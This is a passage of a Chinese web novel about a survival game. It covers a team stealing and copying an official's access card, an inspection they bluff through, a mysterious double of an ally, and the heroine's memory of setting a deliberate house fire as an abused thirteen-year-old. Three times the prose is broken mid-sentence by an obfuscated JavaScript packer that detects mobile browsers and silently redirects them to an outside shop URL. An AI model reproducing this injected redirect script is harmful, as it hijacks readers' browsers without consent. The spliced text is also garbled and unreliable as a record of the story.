回北将黑子落到棋盘上,抬眼看向他们:“看你们包扎的伤,通关的副本没少折腾吧?” “《阴阳渡》。”江意简短道,“不难看出系统想杀我们。” “Fucking system(傻逼系统)!”u谷坐在一边,卷毛乱槽槽支棱着。他的语气里全是烦躁的抱怨:“我们也是fucking A级副本,昨天刚出来,全员差点被一把火烧成BBQ!But 安楚就没我们这么damn lucky(走运)了。” 回北抬脚就踹他椅子:“赵禾还在这儿,小孩子面前少说脏话。”她顿了顿,又皱眉,“还有,知道你是中英混血,但你都在这儿混三年了,周围全是中国人,怎么还改不掉中英混合的毛病?” u谷瞪大眼跳起来:“Hey!我有什么办法?没来永冬之城前我一直在UK,已经很好了能说成这样!”他掰着手指计数,“中文有四声调!还有同音字那么多!居然管‘方便’既能指上厕所又能指帮忙?This is insane(这太疯狂了)!” “算鸟算鸟,都不容易。”随歌开始充当和事佬,转移了话题,“你刚刚说安楚怎么了?” “违规交易,被系统巡逻队逮了。”赵禾蹲在角落里,用一把匕首削着一块木头,“关处罚区三天,后天才能出来。” 向枝冥冷哼一声,伸手无意识地去碰眉钉:“啧,他活该。”他又看向初与序等人,“团队赛在下周一,你们真的准备好了?里面全是吃人不吐骨头的家伙。” “别小瞧人啊道长。”随意不知何时拿出一瓶草莓牛奶,咬着吸管道,“我们队三个新手通关过六七个副本了,得分还都不低。” 话音刚落,时间像是被暂停。D栋楼下安静了几秒后,回北盯着他们,缓缓吐出一口气,语气罕见地严肃:“团队赛截止了,对吧?” “嗯。”江意点头。 “那你们现在退不了赛了。”回北揉了揉短发,“我还以为你们三个新人通关的副本多呢。参赛的老玩家,最少也通关过一百场。即使你们是高层玩家,也会因为经验不足被当成猎物。” 赵禾踢了踢脚边的积雪,稚嫩的声音里带着冷意:“团队赛的规则是‘积分制’,但很多人进去根本不是冲着赢,而是为了得到想要的东西杀人。尤其是你们这种登上高层但没通过几场副本的新手玩家。” 景明垂平静道:“那就让他们试试吧。” u谷盯着他们看了几秒,耸了耸肩:“Well,有胆子,祝你们别死太快。” D栋楼下的灯光在雪幕中晕开一片昏暗,众人正准备散去,向枝冥忽然开口:“初与序。” 他声音不高,但足够清晰。初与序脚步一顿,侧头看他。 向枝冥没多解释,只是朝旁边偏了偏头,示意单独说话。冬逢初的目光在两人之间扫过,但没阻拦。他和初与序之间有心灵链接,如果有问题,他能立刻感知到。 两人走到一处背风的拐角,向枝冥从袖中抽出一张折叠的纸,指尖一抖,展开的瞬间,密密麻麻的名单在雪光下泛着冷色。 “团队赛的队伍名单,暗网弄来的。”以防受到系统监听,向枝冥用口型说,“外加一部分玩家的详细资料,只有一份。” 初与序没急着接,只是问:“条件?” 向枝冥勾起嘴角:“你在《阴阳渡》里得到的奖励品。不出意外是那块黑玉令牌。” 初与序没有选择隐瞒,而是点了点头。那令牌能自由往返阴阳界,确实是个保命的好东西,尤其是在向枝冥这位道士手中。 “为什么?”她问。 “我们队不参加团队赛,用不上。”向枝冥回答,“但你们马上要进团队赛,这玩意儿能让你们知道该躲着谁走,或者…其他什么东西。” 初与序沉默两秒,从面板中取出令牌。黑玉触手生寒,她指腹在“诛邪退散”四字上摩挲一瞬,递给向枝冥。 “谢啦。”向枝冥接过令牌,同时将名单塞进她手中。纸张交接的刹那,他忽然倾声,声音压得更低:“最后那支队伍人数众多,专杀新人和高层玩家,你们注意。” 没等初与序询问,向枝冥已经退开,令牌在他掌心一转,消失在袖中。他转身走向等待的队友,背影融进风雪。 初与序展开名单,第一页最下面,用红笔圈出的名字狰狞如血: 【队名:屠宰场(18/18)】 耳骨夹传来细微的震动,冬逢初的声音直接在他脑海中响起:“有问题?” 初与序合上名单,抬头看向远处永冬之城的蓝调天空:“有关于团队赛的重要信息。” 谁也没料到,当晚的D栋就出了事。 深夜,初与序是被楼下一阵激烈的打斗声吵醒的,她猛地睁开眼,一把抓起枕边的冰蓝短刀翻身下床。 “哇哦,夜袭?”火腿面包从床头柜蹦起来,油亮的表皮在月光下泛着光,“要帮忙吗?虽然我只是一块面包,但我可以唱歌……” “闭嘴,跟上。”初与序拉开门冲了出去,和也推开门下楼的景明垂对上视线。 D栋已经陆续有住户出门,等初与序和景明垂冲到一楼大厅时,大约十几位玩家都聚了过来。初与序顺着人群看去,只见向枝冥正单膝跪在墙角,一手撑着墙壁,咳出的血在雪白的地砖上溅开刺目的红。 他的道袍被利器割出口子,脖颈上一道伤口还在渗血,腹部甚至还有一道贯穿伤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16150141|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “刚刚的打斗是怎么回事?”初与序拽住身边的随歌。 随歌朝向枝冥的方向扬了扬下巴:“这小子和别人打架了吧?” u谷向前一步想弄清楚情况,被向枝冥抬手拦住。他喘着气,抬头看向初与序:“初与序,亏老子信你,你他妈玩阴的?” 初与序没反应过来:“什么?” “装什么?!”向枝冥咳出一口血,“令牌的事,只有我们俩知道。结果半夜就有人摸上门,抢了东西就走。不是你泄密,难道见鬼了?想杀我就当面来……背后捅刀子算什么本事?!” 初与序冷冷地看着他:“我没告诉任何人,你没证据。” 人群后方,有人开口:“监控呢?查查监控不就行了?” “D栋监控上周就坏了。”回北脸色难看,“而且玩家没有权限看监控,只有执行官可以。” 初与序上前一步,目光扫过向枝冥的伤口:“我说了,不是我。攻击你的人有什么特征?” 向枝冥冷笑:“现在装关心?” “白痴。”初与序垂眸看着他,“好好想想,如果我阴你,对我有什么好处?” “我下午才把令牌给你,半夜你就遇袭。如果我没给你,现在受伤的人就是我。不过别忘了,交易是你先提出的。”她顿了顿,指了指天花板,“当时只有我和你知道交易内容,但系统可以全程监听。” “执行官是系统的人,但他们没有动机。所以只有一人知道你有令牌,并且盯上了它。” 初与序的目光落在向枝冥身上,一字一顿:“齐无尽。” 这个名字像一块冰砸进沸水,D栋大厅瞬间炸开一片低呼。 “齐无尽?”向枝冥意识到初与序说的话没有问题,“但他为什么要拿走令牌?” “他既是玩家,又是执行官。”回北分析道,“我们不了解他的动机,但他是唯一一个能伤到人并不会触发系统警告的玩家。” 初与序问:“你被袭击时,看清对方了吗?” 向枝冥沉默片刻,终于咬牙道:“蒙着脸,但用的是双刀。” 永冬之城使用双刀武器的玩家多的是,齐无尽的手下就有十几个使用双刀的。初与序叹了口气:“在没有证据确定齐无尽就是幕后黑手时,我建议你别去找他。” u谷架起向枝冥,骂骂咧咧地往医院方向走:“Fuck!下次道具被人jacked(抢了)就别管了呗,受了伤还要我drag your ass(拖着你去)医院。” 目送两人离开,随歌抓了抓头发,转向江意:“意哥,如果真的是齐无尽,他到底为什么非要那块令牌?” 江意没有立刻回答,他站在走廊的阴影里,镜片后的目光晦暗不明。 “我不确定是不是我想的那样。”他终于开口,声音带着点犹豫。 火腿面包在初与序肩上小声嘀咕:“谜语人最讨厌了……” 初与序没有回答,一个念头刺进她的意识: 有人知道她的令牌,监听她的交易,监视她的行动,甚至知道她会答应交易,把令牌交给向枝冥,于是从他手里抢走。这不是巧合,永冬之城没有巧合,只有算计。 但更令人不安的是,对方根本没有费心遮掩。如果对方谨慎、隐蔽,那至少说明他有所顾忌。但这次不同,对方明目张胆地监听、截获、袭击,仿佛根本不怕初与序察觉。这种情况,要不就是他疏忽了,忘了掩盖痕迹;要不就是故意的。 在永冬之城,疏忽的人早就死了。所有只有后者,对方就是要让她知道,她被盯上了。 “走吧。”江意出声打断初与序的思绪,转身走向楼梯,“早点睡,明天还有计划。” 初与序抬眼,点了点头。 80.偷窃通行卡 次日,永冬之城的夜晚八点半,寒风依旧刺骨。街道上的玩家稀少,大多待在各自的住所,这是最好的行动时机。 五人分散行动,微型耳机里传来江意冷静的调试声:“频道测试,听得到吗?” “清晰。”初与序低声回答,手指轻轻拨动大衣袖口内的鲛丝滑轮装置,确保它能无声滑动。 “这边也OK。”随歌的声音带着一贯的懒散,但背景音里能听到他快速敲键盘的声响,和江意无奈的声音:“你就在我旁边你回什么?” 冬逢初站在初与序身侧,目光扫过高耸的系统处理区大厦。那栋建筑在夜色中威严地立着,冰冷压抑。 大厦正门前,D19已经等在那里。他穿着标准执行官制服,银色的编号徽章在灯光下泛着冷调的反光。见到两人走近,他微微点了点头。 “记住流程。”江意的声音从耳机里传来,但因为通过耳机说话也会被系统监听,他没有继续说下去。 初与序抬手装作整理头发,轻轻点了两下耳骨夹,和冬逢初心灵通话:“A12的办公室在四楼东侧,走廊第三个门。他的制服口袋里右侧内衬,看准时机。” “嗯。”冬逢初简短应声。 不远处的大厦侧面,景明垂独自立于另一栋矮楼的天台边缘。夜风掀起她的衣角,琴弦在她指间缠绕着,随时准备接应鲛丝的传递。 而最近的对角天台上,江意和随歌已经架好设备,望远镜的镜片反射着大厦的轮廓,随歌的电脑屏幕亮起幽蓝的光,数据飞速滚动。 “接应装备就位。”江意最后确认道,声音平稳,“随时可以开始。” 初与序和冬逢初对视一眼,深吸一口气,抬步走向D19。 大厦旋转门自动滑开,前台的几位执行官抬起头,其中一位初与序看得眼熟,是C13,那个戴着蓝色流苏耳饰的少年。他的目光在两人身上停留了一瞬,随即公事公办地推过登记面板:“请签名。” 初与序将手掌按在悬浮屏上,系统像上次一样弹出个人信息: 【玩家初ID:初与序|权限等级:S(临时)】 冬逢初的扫描结果紧随其后: 【玩家ID:冬逢初|权限等级:S(临时)】 附近几位执行官纷纷抬起头,目光落在两人身上,显然对这两位新人时期就能拿到S级权限的玩家感到意外。D19挑眉:“几周没见,你们倒是过得不错。” C13没有多问,只是递过两张临时通行证:“目的?” “停战协议。”D19随便说了个借口解释,“他们几人过警告副本后有创伤后遗症,伤情队伍休整期。” C13在面板上划拉了几下,大厦内部的立体地图浮现出来:“4楼,405室,执行官A12审批,你们去找他。” D19领着他们穿过空旷的大厅,天花板上的监控探头随着他们的移动缓缓转动。 “A12的签字习惯是每份文件看12秒。”D19用闲聊的语气开口,“要是多出12秒,说明他‘走神’了。” 当他们来到四楼时,D19在标着“405”的门前停下,按下呼叫键。门打开,初与序立刻锁定了目标。那个坐在堆满文件后的老执行官,他右胸口袋里露出的一角黑色金属,正是他们要找的通行卡。 “又是什么事?”A12不耐烦地抬头,眼睛在镜片后眯起。 “D区玩家被强制进入警告副本,受了伤,申请停战协议,一周就够了。”D19朝身后两人挥手,示意他们跟上来。 A12的办公室有各式各样的文件,书架几乎要被压倒下来。初与序的目光扫过房间,注意到在右侧墙壁上,一个方形通风口正对着A12的背后。 D19故意侧身,执行官制服宽大的袖口精准挡住天花板监控探头的视角。 初与序抓住间隙,闪身贴向右侧的通风口,左手食指轻轻一勾,鲛丝从她袖中射出来,“嗖”地钻入金属栅栏,穿过错综复杂的钢铁迷宫,最终从大厦外墙的排气口探出。 外围,景明垂的琴弦破空而来! 琴弦在月光下划出一道淡金色残影,精准缠绕住鲛丝末端,两股细线在空中绷紧,发出细微的嗡鸣。 “通道建立。”她淡淡道。 鲛丝被琴弦牵引着,划过夜空,最终落在江意戴着手套的掌心上。 “接住了。”江意站在天台边缘,右手握住鲛丝,左手快速检查着接应装置。鲛丝在他手中绷得笔直,在寒风中纹丝不动。 办公室内,冬逢初悄然立在A12身后。执行官正低着头翻阅「停战协议」文件,钢笔在纸上沙沙作响,十二秒的黄金时间开始流逝。 冬逢初抬起手,大衣袖口扬起,当深色布料完全遮挡住A12视线时,他修长的手指已经探入对方右胸口袋,轻轻抽出金属卡片。 他手腕一抖,通行卡旋转着飞出,在空中划出完美的银色弧线。初与序身形一闪,鲛丝末端的磁性接头“咔”地咬住飞来的卡片。 整体鱼线瞬间绷成一道直线! 通行卡化作黑色闪电,沿着鲛丝射向通风口。金属与金属剧烈摩擦,在漆黑的管道内迸溅出炽热的火星。 “警报触发!”随歌的警告与刺耳的警笛同时炸响。 整座大厦瞬间陷入猩红! 所有照明系统同时切换成刺目的警报红光,走廊、楼梯间、电梯井全部被血色淹没。初与序看见无数红色激光网格从天花板降下,将整个空间切割成危险的碎片。 “所有执行官请注意,立即封锁处理区所有出口!”系统声在整个大厦回荡。 楼下传来密集的脚步声,执行官们正在狂奔。金属门“轰隆隆”落下,一扇接着一扇关闭。窗户自动锁死,防弹钢铁从墙体内部滑出,将整个大厦变成钢铁牢笼。 但幸运的是,他们至少没有封锁通风管道。 通行卡在第8秒前冲出管道,江意凌空抓住卡片,甩给随歌。几乎在同一时刻,大厦最后一道小门“轰”地落下,彻底封死了所有出口。 随歌已经行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16162726|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,他单膝跪地,电脑屏幕在警报红光中泛起蓝光。他的手指在键盘上飞舞,速度快到出现残影:“数据复制开始,复制进度27%。” 初与序抽出清洁布,飞快擦掉通风口边缘的所有指纹痕迹。 前方,A12仍专心致志地盯着文件,钢笔在纸上写出几个字,嘴里嘟囔着:“系统又抽风……” “四楼东侧通道清空!” 远处是执行官们的声音,以及鞋子踏在楼梯里的闷响,但至少还有六十几秒才会到达这间办公室。 “复制完成!!!”随歌几乎是喊了出来,重重敲下回车键,“开始传回!” 金属通行卡在传输装置中发出刺眼的蓝光,“嗖”地一声沿着紧绷的鲛丝射出,在月光下划出一道银线。 就在卡片没入通风口的上一秒,一道寒芒突然从黑暗中闪出,朝这边飞来!锋利的刀片竟然精准斩断鲛丝! 初与序只觉得手心一空,原本绷紧的鱼线立刻软塌塌地垂落。 五人的心跳在这一刻急停,卡片翻转着坠落,金属表面反射着处理区大厦发出的红光,像一滴即将坠地的血珠。 只听“唰!”一声! 景明垂的琴弦在这千钧一发之际飞来!琴弦在空气中发出尖锐声音,精准缠绕出下坠的卡片。琴弦绷直,甚至擦出了零星火花。 “接住!”景明垂的厉喝在耳机里响起。 初与序右手飞速探向通风口,金属卡片被琴弦牵引着,在空中划出一道危险的弧线,直飞向她张开的掌心。 卡片入手冰凉,初与序没有任何停顿,手腕一转,通行卡旋转着飞向冬逢初。而冬逢初的手指精准地夹住了飞来的卡片,借着遮挡,将卡片悄无声息地滑进A12的口袋。 天台上,随歌松了口气,又猛地探出天台围栏,死死盯着下方那个熟悉身影。在看清人脸的下一秒,他气得发抖,破口大骂: “操你大爷的向枝冥!!!你给老子等着!看老子不干死你!!!” 向枝冥收回掷出刀片的手,懒洋洋抬眼看向随歌,朝他们的方向比了个充满挑衅的中指,随即转身隐入小巷。 江意忽然拉住随歌的手,脸色不太好:“向枝冥不是在医院吗?” “是……”随歌愣住,睁大眼睛,“……那他妈刚刚那个是谁?!” 远处无人注意的水塔上,两个裹着羽绒服的身影同时放下望远镜。 “所以……”戴着护目镜的男人歪了歪头,“刚才那个人帮我们完成了计划?他是向枝冥?为什么要这么做?他们两支队友关系不是挺好的吗?” “不晓得。”右边的女人缓缓摘下夜视仪,漏出哭笑不得的表情:“但我们知道他失败了,相当于我们俩也他妈的失败了。” 两人沉默地看向彼此, “干。”男人最终憋出一个字。 女人叹了口气,把夜视仪重重塞回背包:“白蹲一晚上。走了,告诉老大计划泡汤了。” 他们悄无声息地滑下水塔,就像从未出现过。 81.离开处罚区 A12办公室的门被暴力踹开,厚重的金属门板重重砸在墙上。几名执行官鱼贯而入,脉冲手枪的充能声在密闭空间里格外刺耳。 初与序的太阳穴突然一凉,黑洞洞的枪口已经抵了上来。她能闻到枪械上特有的金属铁锈味道,能感受到枪管残留的余温。 “不许动!” 暴喝声在耳边响起,余光里,她看到冬逢初同样被一把枪抵着喉咙,逼迫他抬起头。他冷静地举起双手,嘴角带着温和的笑容。 但幸运的是,而那张要命的通行卡,成功地落回了A12的制服口袋。 警报的红光中,执行官这才慢悠悠地抬起头,推了推老花镜:“你们队伍的「停战协议」通过了。” 初与序的呼吸平稳,配合地举起双手:“各位执行官,我们只是来办理停战协议,有登记记录。” “少废话!”执行官粗暴地扭过初与序和冬逢初的手臂,“你们最好祈祷监控录像能证明清白。” 就在这时,D19慢悠悠从后方走出:“这两个是我带来的玩家,出了什么事不能好好说吗?” “长官?您怎么在这里?”执行官认出了D19,解释道,“警报触发,按照系统条例,今日所有进入过处理区大厦的玩家都必须接受审查。” 初与序和冬逢初被推搡着走出办公室。临走前,初与序侧头看了D19一眼,D19眨了眨眼,示意她放心。 大厅里已经聚集了二十多名玩家,每个人脸上都带着或紧张、或愤怒、或茫然的表情。执行官们端着枪,形成一道冰冷的包围圈,枪口微微抬起,随时准备镇压任何反抗。 初与序快速扫过人群,基本都是来办事的普通玩家。冬逢初站在她身侧,面上依旧平静。 “查清楚之前,谁都不准离开!”执行官的声音冷酷无情,“现在,所有人不能乱动,尤其不能把手放在口袋里,靠墙站好!” 人群中爆发出一阵不满的骚动。 “凭什么关我们?”一个男玩家愤怒道,“我就是来交个任务!一会和我队友约好了见面!” “闭嘴!”执行官一枪托砸在他腹部,男人闷哼一声跪倒在地,“再废话就送你去处罚区!” 大厅的监控屏幕亮起,显示出系统正在调取录像的画面。执行官们互相交换眼神,其中一人冷笑道:“等监控调出来,就知道是谁在搞鬼了。” 远处,某个不起眼的角落,D19、C13正和几名执行官低声交谈,脸上带着公事公办的严肃表情。过了一会,他们散开,其中一位执行官走到中央,厉声喝道:“所有人排成一列,把身上的金属物品全部拿出来!” 玩家们不情不愿地排起长队,初与序站在队伍中段环视四周。冬逢初站在她身后,用耳骨夹心灵链接:“我们的耳机怎么办?” “装作是道具。”初与序指了指自己右耳的耳骨夹,“它也是金属。” 金属探测器的嗡鸣声此起彼伏,执行官们仔仔细细地搜查着每一个玩家。 “手表,摘下来!” “皮带扣也算?你们有病——啊别扒我裤子!” “闭嘴,下一个!” 轮到初与序时,她主动掏出手机放在托盘,探测器从她头顶扫到脚底,只有在右耳戴着微型耳机的位置发出轻微的“滴”声。 “戴着什么?”执行官厉声问,想看清楚,但被初与序的长发遮住。 初与序主动抬手摘下耳骨夹,同时将耳机收起藏在袖中:“通讯器道具,很普通的玩家基础装备。” 执行官没看到耳机,以为刚刚的金属物品是眼前的耳骨夹。他狐疑地检查了一番,确认只是普通道具后,不耐烦地挥手:“下一个!” 冬逢初上前一步,学着初与序的动作,取出右耳的耳骨夹(同时藏起耳机)和大衣口袋的手机。探测器扫过他的全身,同样毫无反应。 两人取回物品,重新站回墙角。下一秒,两名执行官冷着脸走来,手里拿着转过文字的录音器,记录仪闪烁着红光。 “解释一下。”其中一名执行官敲了敲录音文件,“你们队伍刚刚的话是什么意思?在策划什么?” 初与序垂眸,面不改色地解释:“我们在玩实景剧本杀。” 冬逢初配合露出无奈的表情:“《特工行动》剧本,D区最近流行的游戏,不信你们可以去打听一下。” 执行官眯起眼:“说详细点。” “意哥当DM。”初与序胡编乱造,流畅地介绍道,“我们抽到特工小队剧本,他负责给我们发指令。”她伸手指了指录音里其中一句话,“ ‘频道测试’是确认游戏开始,‘接应装置’是指他藏在公园长椅下的任务道具。” 冬逢初接话:“ ‘警告触发’是剧本里的情节转折点。” 执行官狐疑地看着他们,又低头看了看最后一句话:“那这个…‘操你大爷的向枝冥’…是怎么回事?你们的队友很会骂人啊。” “……是这样的。”冬逢初张了张嘴,立刻回答,“本来安排向枝冥扮演反派来打断任务。但他入戏太深,真的破坏了我们的游戏道具。” “所以随歌才骂人。”初与序补充道。 其中一名执行官忽然问:“那‘数据复制27%’呢?” “游戏进度。”冬逢初面不改色,“剧本要求我们在限定时间内破解虚拟保险箱。” 两人一唱一和,细节严丝合缝。执行官对视一眼,调出随歌的档案:全服知名的前乐队吉他手,但确实在玩家娱乐榜上排名前列,而且经常遭到其他玩家投诉他容易骂人。 “最好别让我们发现破绽。”执行官最终冷声道,挥手示意他们归队。两人转身时,耳骨夹里传来极轻的笑声,不出意外是随歌在努力憋笑。 此时,监控屏幕上的画面开始播放,每一层走廊都安静,没有任何一场身影。 “四楼东侧走廊,时间18:23:45。”执行官冷着脸快进录像,“没有任何入侵迹象。” 监控早早被D19替换掉,画面中,初与序和冬逢初跟在D19身后,规规矩矩地走进A12办公司,又老老实实地被执行官押出来,全程连多余的动作都没有。 “七楼档案区,正常。” “三楼通行卡管理处,正常。” “通风管道外部监控,正常。” 执行官们的表情越来越难看,他们反复检查金属探测记录,所有玩家的随身物品都干干净净,没有一张多余的卡片,没有一段可以的金属丝。 “这不可能,警告明明是从四楼触发的。”负责搜查的执行官喃喃道。 D19适时地咳嗽一声:“可能是系统误报? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16162727|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前修理区大楼也发生过类似情况。” 大厅里的玩家已经怨声抱怨。有人蹲在地上打瞌睡,有人烦躁地来回踱步。初与序靠在冬逢初肩头,差不多已经睡着,呼吸平稳。 三小时后,当最后一名玩家也被金属探测器扫过第三遍,执行官终于咬牙切齿地宣布:“所有人可以离开了。” 冬逢初低头,用手指轻轻碰了碰初与序的脸颊。她的皮肤冰凉,带着永冬之城雪地里的寒意。 “醒醒。”他的声音很轻,“回去睡。” 初与序皱眉,睁开眼睛。因为有起床气,面上带着一丝不耐。她站起身,走在所有玩家最后。 大厦外,随歌咬着草莓牛奶细管靠在墙边,见他们出来,气急败坏道:“靠!向枝冥那孙子竟然会分身?!怎么不教教我?” 江意直接道:“去医院看看他。” 五人来到医院走廊,消毒水的气味扑面而来。初与序推开病房门时,向枝冥正靠在床头削苹果,手上打着留置针。 “来看我死没死?”向枝冥将刀尖插进苹果里,没什么好脸色。 “少自作多情。”随歌大咧咧拖过椅子反坐,瞎编道:“我们刚被执行官请去喝茶,还碰到你了,干嘛莫名其妙朝我竖中指?” 向枝冥指着墙上的检查记录:“我从昨晚来到医院就在做CT,三个护士轮流盯着,连他妈厕所都没让单独上。你觉得我能活蹦乱跳朝你竖中指?” 江意走到床头柜前,目光落在上面半杯凉透的茶:“茶叶沉底至少四小时,确实不是他。” “操。”随歌烦躁地抓了把黄发,“那刚才那个「向枝冥」是谁?戴了人皮面具吗?但是他的身形和向枝冥的一模一样啊!” 江意点开面板,在空气中投射出从D19那拿到的监控录像。屏幕里,「向枝冥」掷出刀片的动作凌厉熟练,连右边眉毛上方的眉钉位置都一模一样。 “这不是人皮面具,而是真人。”景明垂仔细看了一会,肯定道,“面具不可能完全复刻自然微表情,录像上的「向枝冥」表情正常。” 她将画面拖动到「向枝冥」转头的动作:“你们看这里,下颌线与颈部的连接处没有分层阴影。人皮面具至少要覆盖到锁骨以上。但当他仰头时,喉结上下滚动的皮肤纹理是连续的。” “而且在《永冬之城规则守则》里,玩家禁止使用任何面具,玩家禁止售卖任何面具。” 病床上的向枝冥猛地坐直:“等下,你是说,有两个我?” “没错。”景明垂点头。 “???”向枝冥一脸懵,“平行世界?人格分裂?还是从某个镜像类的副本里跑出来的NPC?” 江意关闭面板:“那需要你自己去寻找,我们来只是为了告诉你,你以后要小心。” “原来你他妈刚才是在套我话?!”向枝冥瞪向随歌,“所以你到底是在怎么看到另一个我的?当时他在干什么?” “另一个你在和我们玩剧本杀。”随歌伸手拍了拍他的肩膀,“还破坏了我们的道具。” 向枝冥没好气道:“你当我傻B呢?” “可不就是嘛。”随歌小声嘀咕一句,站起身,“走了啊,有消息和我们说。” 不顾向枝冥在身后骂人,走在最后的景明垂把门一关,五人各怀心事出了医院。 82.我是纵火犯 回到D栋,初与序推开1802的门,屋内冷清得像是没人住过。然后,火腿面包迎了上来。 它一屁股坐在茶几上,芝麻眼睛可怜巴巴地眨着:“初与序,看在你们计划成功的份上,咱今晚能吃口热的吗?泡面我都快吃成面饼了。” 初与序头也不抬,弯腰换拖鞋:“我不会做饭。” “你胡说!我都看到书房书架上有一本《烹调技术》了,你明明会做饭!”火腿面包不满地抗议,“你没来永冬之城前也天天吃泡面?你难道不腻吗?” 初与序望向厨房,那里堆着几箱未拆的速食食品,灶台上落了一层薄灰。 “……” 面包扭了扭焦黄的身子:“就炒个青菜!” 初与序犹豫片刻,来到厨房,盯着灶台的眼神比面对副本BOSS还凝重。她站在燃气灶前,手指悬在旋钮上方,迟迟没有按下去。 “你怎么不下手?”面包在她脚边蹦跶,“你要意念变出一锅菜吗?” “……闭嘴。”初与序像是终于做好了心理准备,拧开燃气,机械地按下点火开关。蓝色的火苗“噗”地一声窜起,在冰冷的厨房里跳动。 那一瞬间,她的手指僵在了半空。 火焰的影子在她灰蒙蒙的右眼里晃动,像是触发了某种深埋的记忆。她的心跳漏了一拍,一时没有动作,忘记了自己还在炒菜。 就是这片刻的迟疑,火势突然失控,火舌猛地舔上锅边溢出的油星,火焰骤然窜高! “我□□操!”火腿面包尖叫一声,芝麻眼睛瞪得滚圆。它一个飞扑冲到洗手池边,用边角拼命拧开水龙头,整个面包跳进水池里,抱着水盆举起,往灶台上撞。 一盆水泼上去,火苗在滋滋声中熄灭,浓烟混着水汽弥漫开来。 初与序被呛得咳嗽,湿透的面包瘫在积水里,有气无力地嘟囔:“我、我是不是该学学灭火器怎么用?” 水珠顺着初与序指尖往下滴,在瓷砖上汇成小小的水池。口袋里的手机炸响,“拯救世界顺便偷草莓牛奶计划组”群聊天通话被打响,四个青蛙化《海绵宝宝》人物头像出现在屏幕上。她接起,平静道:“怎么了?” “……你在炼丹?”江意的声音罕见地带着迟疑。 冬逢初温和询问:“需要我上去看看吗?” 景明垂淡淡道:“需要消防队吗?” 初与序没什么表情:“没事,点燃气灶时没注意,火烧起来了,现在已经被扑灭了。” “哎呀,你要是不想吃速食,就来我家吃饭呗。”随歌笑嘻嘻道,“上次你们不是都来我家吃饭了吗?” “不用了。”初与序轻声拒绝,挂掉电话。 火腿面包从湿漉漉的水洼里爬起来,盯着初与序:“初与序,你刚刚怎么突然不动了?火都窜起来了。” 初与序没有看它,灰蒙蒙的右眼映着厨房里未散的烟雾。她沉默片刻,声音很淡:“你知道什么是PTSD吗?” “那是什么?能吃吗?”面包歪了歪身子。 初与序关上水龙头,抽了张纸巾,慢条斯理地擦着手,声音平静: “PTSD,创伤后应激障碍。当人经历过极度危险或可怕的事件后,大脑会卡在那个瞬间。患者会突然闪回事发场景,就像被强制拉进一个循环播放的噩梦副本。” 窗外的雪光给厨房蒙上冷色调。初与序倚在料理台继续道:“常见的触发因素包括巨响、特定气味…也有火焰。” “简单来说,就是被困在过去的幸存者。” 面包若有所思地点点头:“那你呢?你也有PTSD吗?” 初与序说:“我是纵火犯。” 火腿面包呆住了。 “十三岁的时候,我故意放过火,用的就是燃气灶。”初与序平静道,“把寄养家庭的别墅点着,被路过的消防员救了。” 她没有详细描述那晚的火势有多大,也没有解释为什么那么做。但面包能感觉到,她并不喜欢提起这件事。 她侧头看向燃气灶,刘海投下的阴影遮住双眼,看不清神情。几年前那晚,别墅的厨房里,她也是这样盯着燃气灶的。 当时,火焰在燃气灶上跳动,她盯着火苗看了很久。 十三岁的她有着与年龄不符的沉静,黑发垂在苍白的脸颊两侧,不合身的衣服袖子下隐约可见青紫色的淤青。厨房里很安静,只有燃气燃烧的嘶嘶声。别墅外,夜色已深。 她伸手将旋钮转到最大,然后平静地打开了旁边另一个灶眼的开关。蓝色的火焰立刻舔舐着空气,发出声响。 初与序很放心自己的行为不会牵连到任何人。这栋别墅位于郊区,周围没有邻居,没有森林,只有一片荒芜的空地。养父母选择这里就是为了“清净”,干什么都不会被人发现。 客厅的窗帘被夜风吹得轻轻摆动,初与序坐在沙发上,没有动。她能闻到厨房里传来的燃气味道。沙发旁边的茶几上放着一个相框,里面是养父母和他们亲儿子的合照,三张笑脸在灯光下格外刺眼。 初与序伸手,将相框面朝下扣在桌面上。 一声轻微的“砰”从厨房里传来,接着是火焰迅速蔓延的哗啦声。热浪从厨房门口涌出,温度逐渐升高。 她没有逃跑的打算。 火势比她想象的要快,不到十分钟,整个厨房已经陷入火海。浓烟滚滚,初与序开始咳嗽,但她仍然呆在原地。 就在她意识开始模糊的时候,一声巨响从落地窗方向传来。 “有人吗?坚持住!” 初与序勉强睁开眼,透过浓烟看到几个橙色身影破窗而入,是消防员。 一个戴着氧气面罩的身影冲到她面前,二话不说将她抱起。初与序想挣扎,想告诉对方不要管她,但她已经吸入了太多浓烟,连说话的力气都没有了。 